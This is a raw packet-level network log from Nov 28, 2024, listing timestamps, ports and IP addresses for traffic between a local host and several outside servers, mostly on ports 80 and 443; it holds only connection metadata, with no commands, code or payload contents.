Nov 28, 2024 02:27:41.749615908 CET	443	49841	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.749705076 CET	49841	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.749883890 CET	49841	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.749901056 CET	443	49841	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.749918938 CET	49841	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.749924898 CET	443	49841	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.754430056 CET	49875	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.754463911 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.754534006 CET	49875	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.754695892 CET	49875	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.754719019 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.818377018 CET	443	49840	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.818444967 CET	443	49840	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.818495989 CET	49840	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.818690062 CET	49840	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.818707943 CET	443	49840	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.818718910 CET	49840	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.818725109 CET	443	49840	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.821788073 CET	49876	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.821810961 CET	443	49876	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.821877003 CET	49876	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.822030067 CET	49876	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.822043896 CET	443	49876	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.824142933 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.824219942 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.824222088 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.824316978 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.826680899 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.826734066 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.827498913 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.827555895 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.827567101 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.827593088 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.830315113 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.830369949 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.830408096 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.830485106 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.835174084 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.835242033 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.835273981 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.835789919 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.840046883 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.840094090 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.840274096 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.840321064 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.844917059 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.844974041 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.845025063 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.845082045 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.849781990 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.849848986 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.849970102 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.850153923 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.854676008 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.854707956 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.854772091 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.854772091 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.859494925 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.859555006 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.859574080 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.859617949 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.864414930 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.864489079 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.864509106 CET	443	49866	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.864566088 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.864582062 CET	443	49866	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.864628077 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.864633083 CET	49866	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.865181923 CET	49866	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:41.865195990 CET	443	49866	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:41.869203091 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.869280100 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.869311094 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.869434118 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.874032021 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.874115944 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.874142885 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.874177933 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.878879070 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.878938913 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.878977060 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.879028082 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.883883953 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.883903027 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.883932114 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.883949041 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.888613939 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.888662100 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.888720036 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.888753891 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.893610954 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.893656969 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.893784046 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.893836975 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.898364067 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.898416042 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.898473024 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.898514986 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.903202057 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.903265953 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.903305054 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.903343916 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.908060074 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.908112049 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.908183098 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.908349037 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.908785105 CET	443	49842	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.908854961 CET	443	49842	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.908907890 CET	49842	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.909641027 CET	49842	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.909652948 CET	443	49842	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.909662962 CET	49842	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.909668922 CET	443	49842	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.913101912 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.913115025 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.913178921 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.917295933 CET	49877	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.917332888 CET	443	49877	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.917511940 CET	49877	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.917795897 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.917913914 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:41.917958021 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:41.924504995 CET	49877	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:41.924527884 CET	443	49877	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:41.944890022 CET	443	49867	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:41.944948912 CET	443	49867	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:41.945040941 CET	49867	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:41.945333004 CET	49867	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:41.945348024 CET	443	49867	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:41.990102053 CET	443	49868	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.015310049 CET	49868	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.015347958 CET	443	49868	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.015836000 CET	49868	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.015845060 CET	443	49868	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.025476933 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.025491953 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.025645018 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.027118921 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.027175903 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.027859926 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.027910948 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.027982950 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.028026104 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.031707048 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.031754971 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.031797886 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.031924009 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.035542011 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.035603046 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.035635948 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.035712957 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.039283037 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.039330959 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.039370060 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.039410114 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.043046951 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.043093920 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.043143988 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.046771049 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.047094107 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.047230005 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.050479889 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.050662994 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.050744057 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.053777933 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.053796053 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.053880930 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.057085991 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.057141066 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.057176113 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.060545921 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.060595989 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.060684919 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.060724974 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.064070940 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.064189911 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.064364910 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.065203905 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.067452908 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.067512989 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.067545891 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.067588091 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.070940971 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.070986986 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.071027040 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.071063042 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.074348927 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.074402094 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.074434996 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.074477911 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.077790022 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.077904940 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.077958107 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.081451893 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.081773996 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.081835985 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.084703922 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.084774971 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.084814072 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.084857941 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.088161945 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.088298082 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.088351965 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.091618061 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.091730118 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.091787100 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.095196009 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.095206976 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.095264912 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.098643064 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.098654985 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.098690987 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.098705053 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.101979971 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.102179050 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.102255106 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.105489016 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.105783939 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.105849028 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.108876944 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.108932972 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.108973026 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.109011889 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.112535954 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.112549067 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.112606049 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.115952015 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.115966082 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.116038084 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.119256020 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.119368076 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.119426012 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.122695923 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.122901917 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.122955084 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.126199007 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.126256943 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.129232883 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.129618883 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.129718065 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.129765987 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.133147001 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.133213997 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.133460999 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.133513927 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.136517048 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.136625051 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.136698008 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.139978886 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.140088081 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.141200066 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.143423080 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.143498898 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.143548012 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.181401014 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.181519032 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.181732893 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.181757927 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.181838036 CET	49871	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.181845903 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.182758093 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.182833910 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.182837009 CET	49871	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.182889938 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.183923960 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.183986902 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.184340954 CET	49871	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.184398890 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.184796095 CET	49870	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.184803963 CET	443	49870	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.184879065 CET	49871	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:42.184885025 CET	443	49871	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:42.226250887 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.226315022 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.226373911 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.227639914 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.227689028 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.227807999 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.229193926 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.230392933 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.230504990 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.231414080 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.231492996 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.231518984 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.231544018 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.234143019 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.234251022 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.234958887 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.236912966 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.237003088 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.237194061 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.239581108 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.239695072 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.239742041 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.242232084 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.242336035 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.242360115 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.244061947 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.244757891 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.244864941 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.244904995 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.247349024 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.247488976 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.248420954 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.249870062 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.249949932 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.252298117 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.252341986 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.252394915 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.253196955 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.254795074 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.254987001 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.255047083 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.257967949 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.257978916 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.258275986 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.259669065 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.259716988 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.259790897 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.259855986 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.261986971 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.262053967 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.262088060 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.262190104 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.264657974 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.264669895 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.264781952 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.266752958 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.266872883 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.267062902 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.267255068 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.268937111 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.268982887 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.269025087 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.269589901 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.271222115 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.271275997 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.271401882 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:42.271445036 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:42.273602962 CET	80	49823	185.215.113.206	192.168.2.6
